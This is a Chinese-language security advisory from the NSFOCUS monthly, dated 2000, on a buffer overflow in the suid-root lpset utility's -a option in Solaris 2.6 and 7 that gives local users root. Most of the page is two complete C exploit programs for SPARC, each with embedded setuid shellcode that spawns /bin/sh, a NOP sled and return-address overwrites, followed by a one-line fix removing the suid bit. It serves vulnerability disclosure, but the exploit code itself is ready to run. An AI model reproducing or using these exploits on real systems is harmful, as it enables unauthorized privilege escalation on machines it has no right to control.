首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第9期->最新漏洞
期刊号: 类型: 关键词:
Solaris 7 lpset -a 缓冲区溢出漏洞

作者:DiGiT - teddi@linux.is
日期:2000-05-05


发布日期: 2000-4-27
更新日期: 2000-4-27

受影响的系统:  
Soarlis 2.6 sparc/x86
Solaris 7   sparc/x86

--------------------------------------------------------------------------------
描述:


Solaris 2.6和Solaris 7中所带的lpset缺省设置了suid root位,它的一个执行选项"-a"在处
理时存在问题,它会将提供给"-a"的参数不加判断的拷贝到一个固定大小的buffer(900多字节)
中,当用户提供一个包含可执行代码的很长的字符串时,将导致lpset以root身份执行任意命令。
尽管lpset缺省只允许root和sysadm组的用户执行,但是,由于溢出发生在进行执行权限判断操
作之前,任意本地用户都可以利用这个漏洞获取root权限。

(注: 这个问题和lpset -r参数的漏洞是不同的 )

<* 来源: DiGiT - teddi@linux.is
          Laurent LEVIER (llevier@ARGOSNET.COM)
*>


--------------------------------------------------------------------------------
测试程序:



/*                ---> lpset_sparc.c <---
* This is one expoit for lpset in Solaris 2.6/7 sparc version.
* This bug is found by duke of ADM Crew. Credit for him.
* It is one test for writing exploits in Sparc ,just for EDUCATIONAL purpose.:)
* tested in Solaris 2.6/7 /sparc.
* Usages:
*         ./lpset_sparc
* in most cases, bufsize is fixed, offset=1600 is OK .
* If it don't work, you just need adjust align value from 0 to 3.
* e.g:
*      ./lpset_sparc 944 1600 0
*   or ./lpset_sparc 944 1600 1
*                                               by warning3@hotmail.com
*                                                  http://www.nsfocus.com
*                                                          y2k/04/26
*/


#include <stdio.h>

#define BUFSIZE 944         /* the size of overflowed buffer*/
#define EGGSIZE 1024        /* the egg buffer size */
#define NOP     0xaa1d4015  /* "xor %l5, %l5, %l5" */
#define ALIGN   0           /* If don't work ,try adjust align to 0,1,2,3 */       
#define OFFSET  1600        /*   OS              OFFSET
                               Solaris 2.6      844 - 1772  
                               Solaris 7        1284 - 2200
                               So OFFSET=1600 will work well in our exploit.
                             */


char shellcode[] = /* from cloudsky's funny shellcode for SPARC */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"   /* setuid(0)  */          
"\x20\x80\x69\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29" /* nsfocus:) */
"\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"
"\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";

long get_esp(void)   

{
        __asm__("mov %sp,%i0");
}


main( int argc, char **argv )

{

        char *pattern,eggbuf[EGGSIZE];

        long retaddr, i;
        long bufsize=BUFSIZE, offset=OFFSET, align=ALIGN, patternsize ;
        long  *addrptr;
        
        if( argc > 1 ) bufsize = atoi(argv[1]);
        if( argc > 2 ) offset = atoi(argv[2]);
        if( argc > 3 ) align =  atoi(argv[3]);
        
        
        retaddr = get_esp() + offset;
        printf("Usages: %s \n\n", argv[0] );
        printf("Using RET address = 0x%x  ,Offset = %d, Align= %d\n", retaddr, offset, align );

        patternsize = bufsize + 4*4 + 16*4 + 1;

        if((pattern = (char *)malloc(patternsize)) == NULL) {
           printf("Can't get enough memory!\n");
           exit(-1);
        }

        memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage */
        memset(pattern+20, 0x3d, 1);  /* put '=' into buf , why 20 ? heh, you
                                         can put it in any position .
                                         e.g: pattern+100 ... */
        addrptr = (long *) (pattern + bufsize + 4*4 );
        
        /* Let's overwrite caller function's saved stack frame
           I know it's ugly,but just make it more clearly .:)
         */

        /* saved %l0-%l7 */

        *addrptr++ = retaddr;       /* %l0 */
        *addrptr++ = retaddr;       /* %l1 */
        *addrptr++ = retaddr;       /* %l2 */
        *addrptr++ = retaddr;       /* %l3 */
        *addrptr++ = retaddr;       /* %l4 */
        *addrptr++ = retaddr;       /* %l5 */
        *addrptr++ = retaddr;       /* %l6 */
        *addrptr++ = retaddr;       /* %l7 */

        /* saved %i0-%i7 */
        *addrptr++ = retaddr;       /* %i0 */
        *addrptr++ = retaddr;       /* %i1 */
        *addrptr++ = retaddr;       /* %i2 */
        *addrptr++ = retaddr;       /* %i3 */
        *addrptr++ = retaddr;       /* %i4 */
        *addrptr++ = retaddr;       /* %i5 */
        *addrptr++ = retaddr;       /* saved %fp(%i6) */       
        *addrptr++ = retaddr;       /* saved ret addr (%i7) , let's rock! */

        /* construct shellcode buffer */

        memset(eggbuf,'A',EGGSIZE);
        for (i = align; i < EGGSIZE; i+=4){
           eggbuf[i+3]=NOP & 0xff;
           eggbuf[i+2]=(NOP >> 8 ) &0xff;
           eggbuf[i+1]=(NOP >> 16 ) &0xff;
           eggbuf[i+0]=(NOP >> 24 ) &0xff;
        }
              
         /* Notice : we assume the length of shellcode can be divided exatcly by 4 .
            If not, exploit will fail. Anyway, our shellcode is. ;-)
          */     
         memcpy(eggbuf + EGGSIZE - strlen(shellcode) - 4  + align, shellcode, strlen(shellcode));
         memcpy(eggbuf,"EGG=",4);
         putenv(eggbuf);
         /* why pattern+2? lpset will add "\x20\x22" befor our pattern buffer, so
            we have to move backward 2 bytes for alignment.
          */
         execl("/usr/bin/lpset", "lpset","-n","fns","-a", (pattern+2), "nsfocus",NULL);
}           


-------------------------------------------------------------------------------------------

#include <unistd.h>
#include <stdio.h>


#define BSIZE 18001
#define OFFSET 20112
#define START 700
#define END 1200


#define NOP 0xac15a16e


#define EXSTART 116


char sparc_shellcode[] =


/* setreuid(0,0) */
"\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"


/* other stuff */
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";


u_long get_sp() { asm("mov %sp, %i0"); }


main(int argc, char *argv[]) {
        int i,ofs=OFFSET,start=START,end=END;
        u_long ret, *ulp;
        char *buf;


        if (argc > 1) ofs=atoi(argv[1])+8;


        if (!(buf = (char *) malloc(BSIZE+2))) {
                fprintf(stderr, "out of memory\n");
                exit(1);
        }


        ret = get_sp() - ofs;


        for (ulp = (u_long *)buf,i=0; ulp < (u_long *)&buf[BSIZE]; i+=4,ulp++)
                *ulp = NOP;


        for (i = start, ulp=(u_long *)&buf[start]; i < end; i+=4) *ulp++ = ret;


        for (i = 0; i < strlen(sparc_shellcode); i++)
                buf[EXSTART+i] = sparc_shellcode[i];


        buf[5000]='=';


        buf[18000]=0;


        fprintf(stderr, "ret: 0x%lx xlen: %d ofs: 0x%lx (%d)\n",
                ret, strlen(buf)-2, ofs, ofs);


        execl("/usr/bin/lpset","lpset","-n","xfn","-a",&buf[2],"lpcol1",0);


        perror("execl");
}


--------------------------------------------------------------------------------
建议:
chmod u-s /usr/bin/lpset


版权所有,未经许可,不得转载